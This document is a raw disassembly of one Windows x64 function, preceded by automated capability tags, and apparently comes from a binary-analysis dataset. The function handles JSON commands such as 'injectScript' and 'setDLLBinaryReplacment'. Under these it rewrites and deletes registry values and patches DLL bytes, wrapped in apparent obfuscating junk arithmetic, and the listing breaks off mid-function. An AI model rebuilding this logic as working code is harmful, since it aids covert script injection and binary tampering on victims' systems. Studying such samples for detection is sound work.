Function at 0x140069110
Capabilities:
Check for time delay via gettickcount
Create http request
Delete registry key
Delete registry value
Query or enumerate registry key
Query or enumerate registry value
Set registry value

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x14a40
call fcn.1400d9eb0
sub rsp, rax
mov qword [rsp + 0xa38], 0xfffffffffffffffe
mov rax, qword [0x1401cee90]
xor rax, rsp
mov qword [rsp + 0x14a30], rax
mov r15, r8
mov rbx, rdx
mov qword [rsp + 0x40], rdx
mov r13, rcx
mov qword [rsp + 0x588], rcx
mov qword [rsp + 0x360], rcx
mov qword [rsp + 0x150], rdx
mov qword [rsp + 0x390], r8
xor sil, sil
mov byte [rsp + 0x50], sil
xor edx, edx
lea rcx, [rsp + 0x58]
call fcn.14003bbc0
nop
lea rcx, [rsp + 0x2f00]
call fcn.140036e40
nop
mov rdx, qword [rbx]
mov qword [rsp + 0xe10], rdx
lea rcx, [rsp + 0x70]
call fcn.14001b270
nop
mov rdx, qword [rsp + 0x70]
lea rax, [rdx - 0x18]
mov qword [rsp + 0xe20], rax
cmp dword [rax + 0x10], 1
jle 0x1400691d7
mov edx, dword [rax + 8]
lea rcx, [rsp + 0x70]
call fcn.14001bdb0
mov rdx, qword [rsp + 0x70]
xor edi, edi
mov qword [rsp + 0x2dc0], rdi
mov qword [rsp + 0x2dc8], rdi
mov qword [rsp + 0x2dc8], 0xf
mov qword [rsp + 0x2dc0], rdi
mov byte [rsp + 0x2db0], dil
or r12, 0xffffffffffffffff
cmp byte [rdx], dil
jne 0x140069213
mov r8d, edi
jmp 0x14006921f
mov r8, r12
inc r8
cmp byte [rdx + r8], dil
jne 0x140069216
lea rcx, [rsp + 0x2db0]
call fcn.1400013f0
nop
lea r8, [rsp + 0x58]
lea rdx, [rsp + 0x2db0]
lea rcx, [rsp + 0x2f00]
call fcn.140036ef0
test al, al
jne 0x140069334
lea rdx, [0x140161350]
lea rcx, [rsp + 0x298]
call fcn.140003760
nop
lea rdx, [rsp + 0x298]
mov rcx, qword [r13 + 0x40]
call fcn.140063370
nop
mov rcx, qword [rsp + 0x298]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x848], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400692a8
mov rdx, qword [rsp + 0x848]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x2dc8], 0x10
jb 0x1400692c0
mov rcx, qword [rsp + 0x2db0]
call fcn.1400d4de0
mov qword [rsp + 0x2dc8], 0xf
mov qword [rsp + 0x2dc0], rdi
mov byte [rsp + 0x2db0], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x508], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006930b
mov rdx, qword [rsp + 0x508]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x2f00]
call fcn.140019ce0
nop
lea rcx, [rsp + 0x58]
call fcn.14003bf50
nop
mov r14d, 1
mov rbx, qword [rsp + 0x40]
jmp 0x14006e7ae
cmp byte [rsp + 0x60], 0
jne 0x140069424
lea rdx, str.json_parse_error
lea rcx, [rsp + 0x3b8]
call fcn.140003760
nop
lea rdx, [rsp + 0x3b8]
mov rcx, qword [r13 + 0x40]
call fcn.140063370
nop
mov rcx, qword [rsp + 0x3b8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6c8], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140069398
mov rdx, qword [rsp + 0x6c8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x2dc8], 0x10
jb 0x1400693b0
mov rcx, qword [rsp + 0x2db0]
call fcn.1400d4de0
mov qword [rsp + 0x2dc8], 0xf
mov qword [rsp + 0x2dc0], rdi
mov byte [rsp + 0x2db0], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x518], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400693fb
mov rdx, qword [rsp + 0x518]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x2f00]
call fcn.140019ce0
nop
lea rcx, [rsp + 0x58]
call fcn.14003bf50
nop
mov r14d, 1
mov rbx, qword [rsp + 0x40]
jmp 0x14006e7ae
lea rdx, [0x14015eb94]
lea rcx, [rsp + 0x58]
call fcn.14003ccd0
test al, al
je 0x14006e6a9
lea rdx, str.action
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xe30], rax
cmp byte [rax + 8], 4
jne 0x14006e6a9
lea rdx, [0x140160b14]
lea rcx, [rsp + 0x58]
call fcn.14003ccd0
lea rdx, [0x14015eb74]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xe40], rax
mov rdx, qword [rax]
mov qword [rsp + 0xe50], rdx
lea rcx, [rsp + 0x48]
call fcn.140003760
nop
mov rax, qword [rsp + 0x48]
lea r8, str.injectScript
mov rdx, r12
nop
movzx ecx, word [rax + rdx*2 + 2]
cmp cx, word [r8 + rdx*2 + 2]
jne 0x1400694d8
add rdx, 2
cmp rdx, 0xd
je 0x1400694d4
movzx ecx, word [rax + rdx*2]
cmp cx, word [r8 + rdx*2]
jne 0x1400694d8
jmp 0x1400694b0
mov ecx, edi
jmp 0x1400694dd
sbb ecx, ecx
or ecx, 1
mov dword [rsp + 0x6a8], ecx
test ecx, ecx
jne 0x14006a277
lea rdx, [0x14015fe64]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xc78], rax
lea rdx, [0x1401613a0]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0x898], rax
cmp byte [rax + 8], 4
jne 0x14006e65f
lea rdx, [0x140161404]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xf68], rax
lea rdx, str.codeMessage
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0x8a8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc88], rdx
lea rcx, [rsp + 0x98]
call fcn.140003760
nop
mov ebx, dword [0x1401d6d80]
mov eax, ebx
imul eax, ebx
and eax, 0x80000007
jge 0x140069588
dec eax
or eax, 0xfffffff8
inc eax
mov r14d, 1
cmp eax, 6
jne 0x1400695ac
lea r8d, [r14 + 1]
mov edx, r14d
lea rcx, [0x14015ec04]
call fcn.1400d5714
mov ebx, dword [0x1401d6d80]
mov rax, qword [rsp + 0x98]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x4d8], eax
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
call fcn.1400d59cc
mov qword [rsp + 0x1a0], rax
test rax, rax
je 0x14006a102
mov r8, rax
lea rdx, [rsp + 0x98]
call fcn.14006e800
test al, al
je 0x14006a0fc
mov rbx, qword [r13 + 0x40]
add rbx, 0x1b0
mov qword [rsp + 0x8b8], rbx
mov rcx, qword [rbx]
mov qword [rsp + 0xe98], rcx
mov edx, 0x5c
call fcn.1400d7948
mov rcx, rax
mov qword [rsp + 0x8c8], rax
test rax, rax
jne 0x140069631
mov ecx, r12d
jmp 0x140069642
mov rax, qword [rbx]
mov qword [rsp + 0xc98], rax
sub rcx, rax
sar rcx, 1
lea r8d, [rcx + 1]
mov rcx, qword [r13 + 0x40]
add rcx, 0x1b0
lea rdx, [rsp + 0xd0]
call fcn.14002b820
nop
mov ecx, dword [0x1401d6d80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x66666667
imul r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub r8d, eax
cmp r8d, 0x11
jne 0x14006969b
inc dword [0x1401d87b4]
mov rax, qword [r13 + 0x40]
add rax, 0x1b0
mov qword [rsp + 0x8d8], rax
mov rcx, qword [rax]
sub rcx, 0x18
mov qword [rsp + 0xf78], rcx
call fcn.1400027c0
mov qword [rsp + 0x8e8], rax
lea rbx, [rax + 0x18]
mov qword [rsp + 0x598], rbx
lea rax, [rsp + 0xc8]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [r13 + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [rsp + 0x1d8], eax
test eax, eax
je 0x1400698c2
mov edx, dword [0x1401d6d80]
lea r8d, [rdx + 2]
lea ecx, [rdx + 1]
imul r8d, ecx
imul r8d, edx
mov eax, 0x66666667
imul r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub r8d, eax
cmp r8d, 0xd
jne 0x14006976c
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r8d, eax
mov eax, 0xcccccccd
mul r8d
shr edx, 6
lea ecx, [rdx + rdx*4]
shl ecx, 4
sub r8d, ecx
inc r8d
mov dword [rsp + 0x798], r8d
mov dword [0x1401d6d80], r8d
test r15, r15
je 0x14006977f
mov esi, 0xb
mov word [r15], si
mov word [r15 + 8], di
add rbx, 0xffffffffffffffe8
mov qword [rsp + 0x7a8], rbx
mov eax, r12d
lock xadd dword [rbx + 0x10], eax
dec eax
jg 0x1400697a9
mov rdx, qword [rsp + 0x7a8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xd0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x528], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400697db
mov rdx, qword [rsp + 0x528]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x98]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6d8], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006980d
mov rdx, qword [rsp + 0x6d8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x538], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006983c
mov rdx, qword [rsp + 0x538]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x2dc8], 0x10
jb 0x140069854
mov rcx, qword [rsp + 0x2db0]
call fcn.1400d4de0
mov qword [rsp + 0x2dc8], 0xf
mov qword [rsp + 0x2dc0], rdi
mov byte [rsp + 0x2db0], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x818], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006989f
mov rdx, qword [rsp + 0x818]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x2f00]
call fcn.140019ce0
nop
lea rcx, [rsp + 0x58]
call fcn.14003bf50
nop
mov rbx, qword [rsp + 0x40]
jmp 0x14006e7ae
mov r13, qword [r13 + 0x40]
add r13, 0x2c8
mov qword [rsp + 0x190], r13
mov r10d, dword [0x1401d6d80]
lea ecx, [r10 + 1]
imul ecx, r10d
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub ecx, edx
cmp ecx, 0xd
jne 0x14006993e
mov r8d, edi
mov dword [rsp + 0x1c8], edi
nop dword [rax]
movsxd r9, r8d
cmp r9, 0xeb
jae 0x14006993e
mov eax, r10d
sub eax, r8d
lea ecx, [r10 + r8]
cdq
idiv ecx
mov dword [rsp + r9*4 + 0x3c50], edx
inc r8d
mov dword [rsp + 0x1c8], r8d
jmp 0x140069910
lea rdx, [0x1401613cc]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xca8], rax
lea rdx, str.forceOverwrite
mov rcx, rax
call fcn.14003ccd0
test al, al
je 0x140069d29
lea rcx, str.D_r_
mov rax, qword [str.D_r_]
call qword [rax + 0x18]
mov qword [rsp + 0x8f8], rax
lea rbx, [rax + 0x18]
mov qword [rsp + 0x118], rbx
mov eax, edi
mov dword [rsp + 0xd8], eax
mov esi, edi
mov dword [rsp + 0x7c], edi
test eax, eax
jne 0x140069cf1
mov dword [rsp + 0x240], 0x7ffe
lea rax, [rbx - 0x18]
mov qword [rsp + 0xeb8], rax
mov ecx, r14d
sub ecx, dword [rax + 0x10]
mov dword [rsp + 0x4e8], ecx
mov eax, dword [rax + 0xc]
sub eax, 0x7ffe
mov dword [rsp + 0x6b8], eax
or eax, ecx
jge 0x1400699fb
mov edx, 0x7ffe
lea rcx, [rsp + 0x118]
call fcn.140002760
mov rbx, qword [rsp + 0x118]
cmp dword [rbx - 0xc], 0x7ffe
jge 0x140069a0e
mov ecx, 0x80070057
call fcn.140001920
mov dword [rbx - 0x10], 0x7ffe
mov word [rbx + 0xfffc], di
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x240]
mov r8, rbx
mov edx, esi
mov rcx, qword [rsp + 0xc8]
call qword [sym.imp.ADVAPI32.dll_RegEnumValueW]
mov dword [rsp + 0xd8], eax
movsxd rax, dword [rbx - 0xc]
mov dword [rsp + 0x4f8], eax
mov rdx, rax
mov rcx, rbx
call fcn.1400d5a84
mov dword [rsp + 0x7e0], eax
test eax, eax
js 0x140069ce7
cmp eax, dword [rbx - 0xc]
jg 0x140069ce7
mov dword [rbx - 0x10], eax
cdqe
mov word [rbx + rax*2], di
mov dword [r13], edi
lea r8, [0x1401613e8]
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x548]
call fcn.14001b580
mov qword [rsp + 0x908], rax
mov rdx, qword [rax]
mov qword [rsp + 0xcb8], rdx
test rdx, rdx
jne 0x140069ac6
mov eax, r12d
jmp 0x140069af9
mov eax, dword [rbx - 0x10]
mov dword [rsp + 0x850], eax
test eax, eax
jns 0x140069ad9
mov eax, r12d
jmp 0x140069af9
mov rcx, rbx
call fcn.1400d5c54
mov qword [rsp + 0x918], rax
test rax, rax
jne 0x140069af3
mov eax, r12d
jmp 0x140069af9
sub rax, rbx
sar rax, 1
mov dword [rsp + 0x80], eax
cmp eax, 0xffffffff
setne byte [rsp + 0x79]
mov rcx, qword [rsp + 0x548]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6e8], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140069b39
mov rdx, qword [rsp + 0x6e8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
cmp byte [rsp + 0x79], 0
je 0x140069cbb
mov esi, edi
mov dword [rsp + 0x7c], edi
mov r8d, dword [0x1401d6d80]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub ecx, eax
cmp ecx, 7
jne 0x140069bba
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub r8d, edx
add r8d, 0x7b
movsxd rcx, r8d
mov eax, 4
mul rcx
cmovo rax, r12
mov rcx, rax
call fcn.1400d4448
mov qword [rsp + 0xf88], rax
mov rcx, rax
call fcn.1400d5528
mov rbx, qword [rsp + 0x118]
mov rdx, rbx
mov rcx, qword [rsp + 0xc8]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov dword [rsp + 0x1d8], eax
test eax, eax
je 0x140069bfa
test r15, r15
je 0x140069cf1
mov esi, 0xb
mov word [r15], si
mov word [r15 + 8], di
jmp 0x140069cf6
mov ecx, dword [0x1401d6d80]
imul ecx, ecx
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 7
sub ecx, edx
cmp ecx, 5
jne 0x140069cd3
mov rsi, rdi
mov qword [rsp + 0x558], rdi
nop
cmp rsi, 0xb0
jae 0x140069c5c
call fcn.1400d57c0
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movsd qword [rsp + rsi*8 + 0x3310], xmm0
inc rsi
mov qword [rsp + 0x558], rsi
jmp 0x140069c30
mov edx, edi
mov dword [rsp + 0x284], edx
cmp edx, 0xb0
jge 0x140069ccf
mov eax, 0xaf
mov dword [rsp + 0x278], eax
cmp eax, edx
jle 0x140069cb7
movsxd rcx, eax
movsd xmm0, qword [rsp + rcx*8 + 0x3310]
movsd xmm1, qword [rsp + rcx*8 + 0x3308]
comisd xmm0, xmm1
jbe 0x140069cb3
movsd qword [rsp + 0x928], xmm0
movsd qword [rsp + rcx*8 + 0x3310], xmm1
movsd qword [rsp + rcx*8 + 0x3308], xmm0
dec eax
jmp 0x140069c72
inc edx
jmp 0x140069c5e
mov esi, dword [rsp + 0x7c]
inc esi
mov dword [rsp + 0x7c], esi
mov rbx, qword [rsp + 0x118]
jmp 0x140069cd3
mov esi, dword [rsp + 0x7c]
mov r13, qword [rsp + 0x190]
mov eax, dword [rsp + 0xd8]
jmp 0x1400699a2
mov ecx, 0x80070057
call fcn.140001920
mov esi, 0xb
add rbx, 0xffffffffffffffe8
mov qword [rsp + 0x7b8], rbx
mov eax, r12d
lock xadd dword [rbx + 0x10], eax
dec eax
jg 0x140069d1f
mov rdx, qword [rsp + 0x7b8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov r13, qword [rsp + 0x190]
jmp 0x140069d2e
mov esi, 0xb
mov rax, qword [rsp + 0x98]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x860], eax
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov rcx, qword [rsp + 0x1a0]
mov rdx, rcx
call fcn.140069090
mov edx, dword [r13]
lea eax, [rdx + 1]
mov dword [r13], eax
lea rcx, [rsp + 0x2e40]
call fcn.140068990
mov qword [rsp + 0xcc8], rax
cmp qword [rax + 0x18], 0x10
jb 0x140069d82
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x578]
call fcn.140003760
mov rbx, rax
lea r8, str._data
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x568]
call fcn.14001b580
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x3d8]
call fcn.140010150
nop
mov rcx, qword [rsp + 0x568]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6f8], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140069df8
mov rdx, qword [rsp + 0x6f8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x578]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x868], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140069e2a
mov rdx, qword [rsp + 0x868]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x2e58], 0x10
jb 0x140069e42
mov rcx, qword [rsp + 0x2e40]
call fcn.1400d4de0
mov qword [rsp + 0x2e58], 0xf
mov qword [rsp + 0x2e50], rdi
mov byte [rsp + 0x2e40], 0
mov rbx, qword [rsp + 0x1a0]
xor al, al
jne 0x140069ea9
mov rax, qword [rsp + 0x98]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x870], eax
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0x3d8]
mov rcx, qword [rsp + 0xc8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov r9d, dword [0x1401d6d80]
lea r8d, [r9 + 2]
lea ecx, [r9 + 1]
imul r8d, ecx
imul r8d, r9d
mov eax, 0x2e8ba2e9
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xb
sub r8d, edx
cmp r8d, 3
jne 0x140069f0c
mov ecx, edi
mov dword [rsp + 0x28c], ecx
movsxd rax, ecx
cmp rax, 0x2f8
jae 0x140069f0c
mov eax, dword [rsp + rax*4 + 0x4000]
imul eax, eax, 0xbd
add r9d, eax
mov dword [0x1401d6d80], r9d
inc ecx
jmp 0x140069edf
lea r8, [rsp + 0xc8]
lea rdx, [rsp + 0xd0]
mov r14, qword [rsp + 0x588]
mov rcx, r14
call fcn.14006e930
mov rcx, rbx
call fcn.1400d5948
mov r8d, dword [0x1401d6d80]
mov ecx, r8d
imul ecx, r8d
imul ecx, r8d
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x13
sub ecx, edx
cmp ecx, 0x11
jne 0x14006a002
mov dword [rsp + 0x1fc], edi
nop dword [rax]
test r8d, r8d
je 0x14006a002
inc edi
mov dword [rsp + 0x1fc], edi
mov eax, r8d
and eax, 0x80000001
jge 0x140069f93
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x140069faa
mov eax, r8d
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov dword [0x1401d6d80], eax
jmp 0x140069fb9
lea r8d, [r8*2 + 1]
mov dword [0x1401d6d80], r8d
mov eax, 0x55555556
imul r8d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
mov ecx, r8d
sub ecx, eax
je 0x140069fdd
sub ecx, 2
je 0x140069fe8
dec ecx
je 0x140069ff2
jmp 0x140069ffd
add r8d, 2
mov dword [0x1401d6d80], r8d
inc r8d
mov dword [0x1401d6d80], r8d
add r8d, 2
mov dword [0x1401d6d80], r8d
jmp 0x140069f70
mov rcx, qword [rsp + 0xc8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test r15, r15
je 0x14006a01e
mov word [r15], si
mov word [r15 + 8], r12w
mov rax, qword [r14 + 0x40]
cmp dword [rax + 0x2d0], 3
jne 0x14006a035
mov dword [rax + 0x2d0], 4
mov rcx, qword [rsp + 0x3d8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x708], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006a067
mov rdx, qword [rsp + 0x708]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x598]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7c8], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006a099
mov rdx, qword [rsp + 0x7c8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xd0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5a8], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006a0cb
mov rdx, qword [rsp + 0x5a8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x98]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x718], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006e65f
mov rdx, qword [rsp + 0x718]
jmp 0x14006e656
mov ebx, dword [0x1401d6d80]
lea ecx, [rbx + 2]
lea eax, [rbx + 1]
imul ecx, eax
imul ecx, ebx
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xe
sub ecx, edx
cmp ecx, 2
jne 0x14006a17a
mov eax, 0xf3
mov dword [rsp + 0x270], eax
mov r8d, 0x6f
mov dword [rsp + 0x198], r8d
test eax, eax
je 0x14006a171
test r8d, r8d
je 0x14006a171
mov ecx, r8d
mov dword [rsp + 0x878], ecx
cdq
idiv r8d
mov r8d, edx
mov dword [rsp + 0x198], edx
mov eax, ecx
mov dword [rsp + 0x270], ecx
jmp 0x14006a145
add eax, r8d
mov dword [0x1401d6d80], eax
test r15, r15
je 0x14006a190
mov esi, 0xb
mov word [r15], si
mov word [r15 + 8], di
xor sil, sil
mov rcx, qword [rsp + 0x98]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5b8], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006a1c2
mov rdx, qword [rsp + 0x5b8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x828], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006a1f1
mov rdx, qword [rsp + 0x828]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x2dc8], 0x10
jb 0x14006a209
mov rcx, qword [rsp + 0x2db0]
call fcn.1400d4de0
mov qword [rsp + 0x2dc8], 0xf
mov qword [rsp + 0x2dc0], rdi
mov byte [rsp + 0x2db0], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5c8], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006a254
mov rdx, qword [rsp + 0x5c8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x2f00]
call fcn.140019ce0
nop
lea rcx, [rsp + 0x58]
call fcn.14003bf50
nop
mov rbx, qword [rsp + 0x40]
jmp 0x14006e7a9
lea r8, str.setDLLBinaryReplacment
mov rdx, r12
movzx ecx, word [rax + rdx*2 + 2]
cmp cx, word [r8 + rdx*2 + 2]
jne 0x14006a2a9
add rdx, 2
cmp rdx, 0x17
je 0x14006a2a5
movzx ecx, word [rax + rdx*2]
cmp cx, word [r8 + rdx*2]
jne 0x14006a2a9
jmp 0x14006a281
mov eax, edi
jmp 0x14006a2ae
sbb eax, eax
or eax, 1
mov dword [rsp + 0x418], eax
test eax, eax
jne 0x14006b105
lea rdx, [0x140161470]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0x938], rax
lea rdx, [0x140161478]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xed8], rax
cmp byte [rax + 8], 4
jne 0x14006b086
lea rdx, [0x140161480]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0x948], rax
lea rdx, [0x14015eb7c]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xcd8], rax
cmp byte [rax + 8], 4
jne 0x14006b086
lea rdx, [0x140161430]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0x958], rax
lea rdx, [0x14015ec34]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xf98], rax
cmp byte [rax + 8], 1
jne 0x14006b086
lea rdx, [0x140161438]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0x968], rax
lea rdx, str.from
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xce8], rax
mov rdx, qword [rax]
mov qword [rsp + 0x978], rdx
lea rcx, [rsp + 0x88]
call fcn.140003760
nop
lea rdx, [0x1401614b8]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xef8], rax
lea rdx, [0x14015eb9c]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0x988], rax
mov rdx, qword [rax]
mov qword [rsp + 0xcf8], rdx
lea rcx, [rsp + 0xa0]
call fcn.140003760
nop
mov eax, dword [0x1401d6d80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub ecx, edx
cmp ecx, 0xb
jne 0x14006a439
mov dword [rsp + 0x21e0], edi
mov dword [rsp + 0x1d00], edi
mov dword [rsp + 0x10b0], edi
lea rdx, [0x1401614c0]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0x998], rax
lea rdx, str.offset
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xfd8], rax
mov rcx, rax
call fcn.14003c1c0
mov dword [rsp + 0x1a8], eax
mov rax, qword [rsp + 0x88]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x840], eax
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
call fcn.1400d59cc
mov rsi, rax
mov qword [rsp + 0x758], rax
mov rax, qword [rsp + 0xa0]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x768], eax
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
